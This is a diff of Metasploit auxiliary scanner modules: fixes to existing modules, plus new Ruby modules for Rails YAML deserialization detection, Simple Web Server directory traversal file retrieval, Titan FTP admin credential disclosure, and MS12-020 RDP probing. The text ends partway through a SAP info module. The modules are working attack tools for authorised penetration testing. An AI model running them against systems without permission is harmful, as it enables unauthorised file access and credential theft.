--git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index d6dc7c3638..41f5566772 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => app, 'method' => 'GET', 'ctype' => 'text/plain', - 'basic_auth' => 'admin:admin' + 'authorization' => basic_auth('admin','admin') }, 20) if (res and res.code == 200) print_good("#{rhost}:#{rport} Authenticated using admin:admin") diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb new file mode 100644 index 0000000000..514559eb1f --- /dev/null +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -0,0 +1,101 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Scanner', + 'Description' => %q{ + This module attempts to identify Ruby on Rails instances vulnerable to + an arbitrary object instantiation flaw in the JSON request processor. + }, + 'Author' => + [ + 'jjarmoc', # scanner module + 'hdm' # CVE-2013-0156 scanner, basis of this technique. + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0333'] + ] + )) + + register_options([ + OptString.new('TARGETURI', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT']]), + ], self.class) + end + + def send_probe(pdata) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/json', + 'data' => pdata + }) + end + + def run_host(ip) + + # Straight JSON as a baseline + res1 = send_probe( + "{ \"#{Rex::Text.rand_text_alpha(rand(8)+1)}\" : \"#{Rex::Text.rand_text_alpha(rand(8)+1)}\" }" + ) + + unless res1 + vprint_status("#{rhost}:#{rport} No reply to the initial JSON request") + return + end + + if res1.code.to_s =~ /^[5]/ + vprint_error("#{rhost}:#{rport} The server replied with #{res1.code} for our initial JSON request, double check TARGETURI and HTTP_METHOD") + return + end + + # Deserialize a hash, this should work if YAML deserializes. + res2 = send_probe("--- {}\n".gsub(':', '\u003a')) + + unless res2 + vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") + return + end + + # Deserialize a malformed object, inducing an error. + res3 = send_probe("--- !ruby/object:\x00".gsub(':', '\u003a')) + + unless res3 + vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") + return + end + + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") + + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) + # If first and second requests are the same, and the third is different but not a 200, we're vulnerable. + print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => "Module triggered a #{res3.code} reply", + :refs => self.references + }) + else + # Otherwise we're not likely vulnerable. + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or TARGETURI & HTTP_METHOD must be set") + end + end + +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 900b8f3313..8eb9e1ce59 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the XML request processor. }, - 'Author' => 'hdm', + 'Author' => [ + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ @@ -29,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]) + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), ], self.class) end @@ -37,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary odata = %Q^\n^ res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", - 'method' => 'POST', + 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => odata }, 25) @@ -46,29 +50,35 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res1 = send_probe("string", "hello") - res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") - res3 = send_probe("yaml", "--- !ruby/object:\x00") unless res1 vprint_status("#{rhost}:#{rport} No reply to the initial XML request") return end + if res1.code.to_s =~ /^[5]/ + vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") + return + end + + res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") + unless res2 vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") return end + res3 = send_probe("yaml", "--- !ruby/object:\x00") + unless res3 vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") return end - if res1.code.to_s =~ /^[45]/ - vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") - end + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") - if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200 + + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") report_vuln({ :host => rhost, @@ -79,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references }) else - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set") end end diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index 5c0039054f..111591aa13 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] @@ -52,9 +52,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ + uri = normalize_uri(uri, 'index.php') res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}index.php/?p=#{t}#{datastore['FILE']}%00" + 'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00" }) if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 730217ba95..01d38311ff 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/services/Session", + 'uri' => normalize_uri(datastore['URI'], "/services/Session"), 'method' => 'POST', 'data' => data, 'headers' => diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index 415ca736ee..53ee160d57 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index be3de4bd49..4ff8434ceb 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res or res.code != 200 diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb new file mode 100644 index 0000000000..3de0b7399b --- /dev/null +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -0,0 +1,125 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Simple Web Server 2.3-RC1 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in + Simple Web Server 2.3-RC1. + }, + 'References' => + [ + [ 'OSVDB', '88877' ], + [ 'EDB', '23886' ], + [ 'URL', 'http://seclists.org/bugtraq/2013/Jan/12' ] + ], + 'Author' => + [ + 'CwG GeNiuS', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Jan 03 2013" + )) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) + ], self.class) + + deregister_options('RHOST') + end + + + # + # The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual + # HTTP status -- the second one is what we want. We cannot use the original update_cmd_parts() + # in Response, because that will only grab the first HTTP status. + # + def parse_status_line(res) + str = res.to_s + + status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/) + + if status_line.empty? + print_error("Invalid response command string.") + return + elsif status_line.length == 1 + proto, code, message = status_line[0] + else + proto, code, message = status_line[1] + end + + return message, code.to_i, proto + end + + + # + # The MSF API cannot parse this weird response + # + def parse_body(res) + str = res.to_s + str.split(/\r\n\r\n/)[2] || '' + end + + + def is_sws? + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'].to_s =~ /PMSoftware\-SWS/ + return true + else + return false + end + end + + + def run_host(ip) + if not is_sws? + print_error("#{ip}:#{rport} - This isn't a Simple Web Server") + return + end + + uri = normalize_uri("../"*datastore['DEPTH'], datastore['FILEPATH']) + res = send_request_raw({'uri'=>uri}) + + if not res + print_error("#{ip}:#{rport} - Request timed out.") + return + end + + # The weird HTTP response totally messes up Rex::Proto::Http::Response, HA! + message, code, proto = parse_status_line(res) + body = parse_body(res) + + if code == 200 + + if body.empty? + # HD's likes vprint_* in case it's hitting a large network + vprint_status("#{ip}:#{rport} - File is empty.") + return + end + + vprint_line(body) + fname = ::File.basename(datastore['FILEPATH']) + p = store_loot('simplewebserver.file', 'application/octet-stream', ip, body, fname) + print_good("#{ip}:#{rport} - #{fname} stored in: #{p}") + else + print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})") + end + end +end + diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb new file mode 100644 index 0000000000..18c7eb7019 --- /dev/null +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -0,0 +1,105 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Titan FTP Administrative Password Disclosure', + 'Description' => %q{ + On Titan FTP servers prior to version 9.14.1628, an attacker can + retrieve the username and password for the administrative XML-RPC + interface, which listens on TCP Port 31001 by default, by sending an + XML request containing bogus authentication information. After sending + this request, the server responds with the legitimate username and + password for the service. With this information, an attacker has + complete control over the FTP service, which includes the ability to + add and remove FTP users, as well as add, remove, and modify + available directories and their permissions. + }, + 'Author' => + [ + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1625' ], + ] + ) + + register_options([Opt::RPORT(31001)], self.class) + deregister_options('PASSWORD', 'USERNAME') + end + + def run_host(ip) + res = send_request_cgi( + { + 'uri' => "/admin.dll", + 'method' => 'POST', + 'headers' => { + 'SRT-WantXMLResponses' => 'true', + 'SRT-XMLRequest' => 'true', + 'Authorization' => 'Basic FAKEFAKE' + }, + 'data' => "DOMGCFG", + }) + return if not res + + if res.code == 400 + vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched") + return + elsif res.code != 200 + vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}") + return + end + + xml_data = res.body.strip + resp_root = REXML::Document.new(xml_data).root + + srresponse = resp_root.elements.to_a("//SRResponse")[0] + srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0] + + info = {} + srdomainparams.elements.each do |node| + case node.name + when "DomainName" + info[:domain] = Rex::Text.uri_decode(node.text) + when "BaseDataDir" + info[:basedir] = Rex::Text.uri_decode(node.text) + when "CreationDate" + info[:username] = Rex::Text.uri_decode(node.text) + when "CreationTime" + info[:password] = Rex::Text.uri_decode(node.text) + end + end + + if (info[:username] and info[:password]) + if (info[:domain] and info[:basedir]) + print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}") + print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}") + end + print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'") + report_auth_info( + :host => ip, + :port => datastore['RPORT'], + :user => info[:username], + :pass => info[:password], + :ptype => "password", + :proto => "http", + :sname => "Titan FTP Admin Console" + ) + end + end +end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 65ab691e66..a3581d16b0 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -101,16 +101,13 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") success = false srvhdr = '?' - user_pass = Rex::Text.encode_base64(user + ":" + pass) uri = normalize_uri(datastore['URI']) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } + 'username' => user, + 'password' => pass }, 25) unless (res.kind_of? Rex::Proto::Http::Response) vprint_error("http://#{rhost}:#{rport}#{uri} not responding") diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 7afdc7e61d..a4fe31dba2 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index 1efaf6bbff..2d642d9c43 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads/', '/vci/downloads/']), + OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) ], self.class) end @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) fname = File.basename(datastore['FILE']) traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH'])+ '/' + traversal + datastore['FILE'] + uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] print_status("#{rhost}:#{rport} - Requesting: #{uri}") diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index 368cb18956..34f5139649 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -19,6 +19,7 @@ class Metasploit3 < Msf::Auxiliary API enabled. By interfacing with the API an attacker can cause the wordpress site to port scan an external target and return results. Refer to the wordpress_pingback_portscanner module. + This issue was fixed in wordpress 3.5.1 }, 'Author' => [ diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index b2e36eaefa..3201f3f340 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary end - def get_ppooe_credentials(conf) + def get_pppoe_credentials(conf) user = "" password = "" @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary get_ftp_credentials(conf) get_dvr_credentials(conf) get_ddns_credentials(conf) - get_ppooe_credentials(conf) + get_pppoe_credentials(conf) dvr_name = "" if res.body =~ /DVR_NAME=(.*)/ diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb deleted file mode 100644 index 93dc4bc58a..0000000000 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ /dev/null @@ -1,198 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS12-020 Microsoft Remote Desktop Checker', - 'Description' => %q{ - This module checks a range of hosts for the MS12-020 vulnerability. - This does not cause a DoS on the target. - }, - 'References' => - [ - [ 'CVE', '2012-0002' ], - [ 'MSB', 'MS12-020' ], - [ 'URL', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020' ], - [ 'EDB', '18606' ], - [ 'URL', 'https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse' ] - ], - 'Author' => - [ - 'Royce Davis @R3dy_ ', - 'Brandon McCann @zeknox ' - ], - 'License' => MSF_LICENSE, - )) - - register_options( - [ - OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) - ], self.class) - end - - def checkRdp(packet) - # code to check if RDP is open or not - vprint_status("#{peer} - Verifying RDP Protocol") - begin - # send connection - sock.put(packet) - # read packet to see if its rdp - res = sock.recv(1024) - - if res.unpack("H*").join == "0300000b06d00000123400" - return true - else - return false - end - rescue - print_error("could not connect to RHOST") - return false - end - end - - def connectionRequest() - packet = '' + - "\x03\x00" + # TPKT Header version 03, reserved 0 - "\x00\x0b" + # Length - "\x06" + # X.224 Data TPDU length - "\xe0" + # X.224 Type (Connection request) - "\x00\x00" + # dst reference - "\x00\x00" + # src reference - "\x00" # class and options - return packet - end - - def report_goods - report_vuln( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'The MS12-020 Checker', - :vuln => 'Confirmaiton that this host is vulnerable to MS12-020', - :refs => self.references, - :exploited_at => Time.now.utc - ) - end - - def connectInitial() - packet = '' + - "\x03\x00\x00\x65" + # TPKT Header - "\x02\xf0\x80" + # Data TPDU, EOT - "\x7f\x65\x5b" + # Connect-Initial - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # callingDomainSelector - "\x01\x01\xff" + # upwardFlag - "\x30\x19" + # targetParams + size - "\x02\x01\x22" + # maxChannelIds - "\x02\x01\x20" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x18" + # minParams + size - "\x02\x01\x01" + # maxChannelIds - "\x02\x01\x01" + # maxUserIds - "\x02\x01\x01" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x01\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maxParams + size - "\x02\x01\xff" + # maxChannelIds - "\x02\x01\xff" + # maxUserIds - "\x02\x01\xff" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x04\x00" # userData - return packet - end - - def userRequest() - packet = '' + - "\x03\x00" + # header - "\x00\x08" + # length - "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) - "\x28" # PER encoded PDU contents - return packet - end - - def channelRequestOne - packet = '' + - "\x03\x00\x00\x0c" + - "\x02\xf0\x80\x38" + - "\x00\x01\x03\xeb" - return packet - end - - def channelRequestTwo - packet = '' + - "\x03\x00\x00\x0c" + - "\x02\xf0\x80\x38" + - "\x00\x02\x03\xeb" - return packet - end - - def peer - return "#{rhost}:#{rport}" - end - - def run_host(ip) - begin - # open connection - connect() - rescue - return - end - - # check if rdp is open - if checkRdp(connectionRequest) - - # send connectInitial - sock.put(connectInitial) - # send userRequest - sock.put(userRequest) - user1_res = sock.recv(1024) - # send 2nd userRequest - sock.put(userRequest) - user2_res = sock.recv(1024) - # send channel request one - sock.put(channelRequestOne) - channel_one_res = sock.recv(1024) - if channel_one_res.unpack("H*").to_s[16..19] == '3e00' - # vulnerable - print_good("#{peer} - Vulnerable to MS12-020") - report_goods - - # send ChannelRequestTwo - prevent bsod - sock.put(channelRequestTwo) - - # report to the database - else - vprint_error("#{peer} - Not Vulnerable") - end - - end - # close connection - disconnect() - end - -end - diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb new file mode 100644 index 0000000000..5a16d36851 --- /dev/null +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Checker', + 'Description' => %q{ + This module checks a range of hosts for the MS12-020 vulnerability. + This does not cause a DoS on the target. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse' ] + ], + 'Author' => + [ + 'Royce Davis @R3dy_ ', + 'Brandon McCann @zeknox ' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) + ], self.class) + end + + def check_rdp + # code to check if RDP is open or not + vprint_status("#{peer} Verifying RDP protocol...") + + # send connection + sock.put(connection_request) + + # read packet to see if its rdp + res = sock.get_once(-1, 5) + + # return true if this matches our vulnerable response + ( res and res == "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00" ) + end + + def report_goods + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => 'Response indicates a missing patch', + :refs => self.references + ) + end + + def connection_request + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options + end + + def connect_initial + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData + end + + def user_request + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents + end + + def channel_request_one + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + end + + def channel_request_two + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + + connect + + # check if rdp is open + if not check_rdp + disconnect + return + end + + # send connectInitial + sock.put(connect_initial) + + # send userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) + + # send 2nd userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) + + # send channel request one + sock.put(channel_request_one) + res = sock.get_once(-1, 5) + + if res and res[8,2] == "\x3e\x00" + # send ChannelRequestTwo - prevent BSoD + sock.put(channel_request_two) + + print_good("#{peer} Vulnerable to MS12-020") + report_goods + else + vprint_status("#{peer} Not Vulnerable") + end + + disconnect() + end + +end diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb new file mode 100644 index 0000000000..2095bef790 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -0,0 +1,155 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. I'd also like to thank Chris John Riley, +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and +# provided excellent feedback. Some people just seem to enjoy hacking SAP :) +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP ICF /sap/public/info Service Sensitive Information Gathering', + 'Description' => %q{ + This module uses the /sap/public/info service within SAP Internet Communication + Framework (ICF) to obtain the operating system version, SAP version, IP address + and other information. + }, + 'Author' => + [ + 'Agnivesh Sathasivam', # original sap_soap_rfc_system_info module + 'nmonkee', # original sap_soap_rfc_system_info module + 'ChrisJohnRiley' # repurposed for /sap/public/info (non-RFC) + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(8000), + OptString.new('TARGETURI', [true, 'Path to SAP Application Server', '/']) + ], self.class) + end + + def extract_field(data, elem) + if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i + return $1 + end + nil + end + + def report_note_sap(type, data, value) + # create note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data + # update saptbl for output + @saptbl << [ data, value ] + end + + def run_host(ip) + + print_status("[SAP] #{ip}:#{rport} - Sending request to SAP Application Server") + uri = normalize_uri(target_uri.path, '/sap/public/info') + 